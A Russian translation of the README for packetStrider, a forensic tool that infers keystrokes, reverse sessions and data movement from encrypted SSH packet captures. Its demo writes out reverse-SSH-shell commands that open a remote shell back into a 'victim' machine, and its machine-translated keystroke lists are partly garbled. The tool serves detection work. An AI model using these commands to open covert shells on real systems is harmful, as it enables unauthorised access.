
Инструмент форензики сетевых пакетов для SSH

packetStrider for SSH — это инструмент криминалистического анализа пакетов, предназначенный для получения ценной информации о природе SSH-трафика, проливая свет на те уголки SSH-сетевого трафика, где ранее в темноте скрывались золотые крупицы информации.
SSH, очевидно, зашифрован, но ценная контекстная информация всё равно присутствует в сетевом трафике и может быть использована для анализа тактик, техник и процедур (TTP), намерений, успеха и масштаба действий по достижению целей. Могут даже возникнуть ситуации, когда ценный контекст недоступен или удалён с хостов, и тогда неизменяемый и не подлежащий изменению пассивный захват сети даёт дополнительный криминалистический контекст. «Пакеты не лгут».
Помимо криминалистического контекста, прогнозы packet strider также могут использоваться активным образом, например, для блокировки (shun/RST) прямых подключений, если прогнозируется инициирование обратного SSH-сеанса через туннель, даже до того, как будет предложена обратная аутентификация.
Используется Python3, вам понадобятся следующие модули (YMMV для python2):
pip3 install pandas matplotlib pyshark
Использование:
python3 packetStrider-ssh.py -h
Вывод:
usage: packetStrider-ssh.py [-h] [-f FILE] [-n NSTREAM] [-m] [-k] [-p]
[-z ZOOM] [-d DIRECTION] [-o OUTPUT_DIR]
[-w WINDOW] [-s STRIDE]
packetStrider-ssh is a packet forensics tool for SSH. It creates a rich
feature set from packet metadata such SSH Protocol message content, direction,
size, latency and sequencing. It performs pattern matching on these features,
using statistical analysis, and sliding windows to predict session initiation,
keystrokes, human/script behavior, password length, use of client
certificates, context into the historic nature of client/server contact and
exfil/infil data movement characteristics in both Forward and Reverse sessions
optional arguments:
-h, --help show this help message and exit
-f FILE, --file FILE pcap file to analyze
-n NSTREAM, --nstream NSTREAM
Perform analysis only on stream n
-m, --metaonly Display stream metadata only
-k, --keystrokes Perform keystroke prediction
-p, --predict_plot Plot data movement and keystrokes
-z ZOOM, --zoom ZOOM Narrow down/zoom the analysis and plotting to only
packets "x-y"
-d DIRECTION, --direction DIRECTION
Perform analysis on SSH direction : "forward",
"reverse" OR "both"
-o OUTPUT_DIR, --output_dir OUTPUT_DIR
Directory to output plots
-w WINDOW, --window WINDOW
Sliding window size, # of packets to side of window
center packet, default is 2
-s STRIDE, --stride STRIDE
Stride between sliding windows, default is 1
Pcap-файл «forward_reverse.pcap» получен из распространённого TTP — обратной SSH-оболочки (reverse SSH shell), излюбленного приёма красных команд повсюду. В частности, были использованы следующие команды, чтобы наглядно продемонстрировать возможности Packet Strider простым способом:
Прямое подключение от жертвы
ssh [email protected] -R 31337:localhost:22, которая связывает локальный порт 31337, готовый к обратному SSH-подключению к компьютеру жертвы. Это соединение может быть установлено различными способами, включая ручной ввод, RCE, SSRF или какую-либо форму персистентности. В целях данной демонстрации это стандартная прямая сессия, выполненная вручную.ls в следующей последовательности: 'л' 'в' 'в' 'back-space' 'back-space' 'с' и затем Enter. Общий размер данных, передаваемых по сети (как вывод ls), классифицируется как инфильтрация, поскольку данные входящие.Теперь на машине атакующего (сервере) инициируется обратная оболочка к жертве:
ssh victim@localhost -p 31337. В этот момент, ещё до начала процесса аутентификации, Packet Strider идентифицирует инициирование обратного SSH-сеанса на пакете 72.last выполняется в виде нажатий клавиш 'л' 'а' 'с' 'р' 'delete' 'т' 'enter'who выполняется в виде 'в' 'х' 'о' 'enter'exit выполняется в виде 'е' 'х' 'и' 'т'Затем, наконец, прямая сессия закрывается, просто чтобы продемонстрировать, что обнаружение функций прямого SSH по-прежнему работает.
exitСетевой трафик этой активности сохраняется в tcpdump.pcap, и теперь пришло время запустить Packet Strider.
python3 packetStrider-ssh.py -f tcpdump.pcap -k -p -o out

На этом графике показана временная шкала ключевых прогнозов (изображение аннотировано здесь)

На этом графике показана некоторая статистика окон, полезная для глубокого погружения и экспериментов с признаками.

На этом графике показана простая гистограмма

Этот проект был выполнен как личное доказательство концепции, способ потренироваться в работе с некоторыми библиотеками Data Science на Python. Он был сильно вдохновлён моим обучением на Coursera по машинному обучению и Data Science, в частности библиотекой pandas и тем, как свёрточные нейронные сети (CNN) «шагают» по наборам пикселей изображения, используя скользящие окна для обнаружения определённых признаков.
Packet Strider выполняет огромное количество «шагов» в режиме полной ёмкости. Это может привести к значительному расходу ресурсов, если pcap-файл большой, или, точнее, если в pcap много пакетов. Вот несколько советов по ускорению, особенно полезных при первоначальном запуске, например, чтобы просто увидеть, была ли спрогнозирована активность обратного SSH, а затем добавить функциональность по желанию.
Используйте на свой страх и риск. См. условия лицензии.